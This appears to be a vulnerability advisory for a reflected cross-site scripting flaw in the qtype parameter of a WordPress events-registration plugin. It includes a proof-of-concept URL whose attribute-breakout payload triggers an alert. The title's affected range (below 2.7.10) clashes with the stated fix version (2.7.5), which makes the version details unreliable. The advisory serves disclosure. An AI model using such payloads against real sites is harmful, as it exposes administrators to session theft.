WordPress Plugin Vulnerabilities
Registrations for the Events Calendar < 2.7.10 - Reflected Cross-Site Scripting
Description
The plugin does not escape the qtype parameter before outputting it back in an attribute in the settings page, leading to a Reflected Cross-Site Scripting
Proof of Concept
http://example.com/wp-admin/admin.php?page=registrations-for-the-events-calendar&qtype=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+p%3D
Affects Plugins
Fixed in version 2.7.5
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2021-12-27 (about 9 months ago)
Added
2021-12-27 (about 9 months ago)
Last Updated
2022-04-09 (about 5 months ago)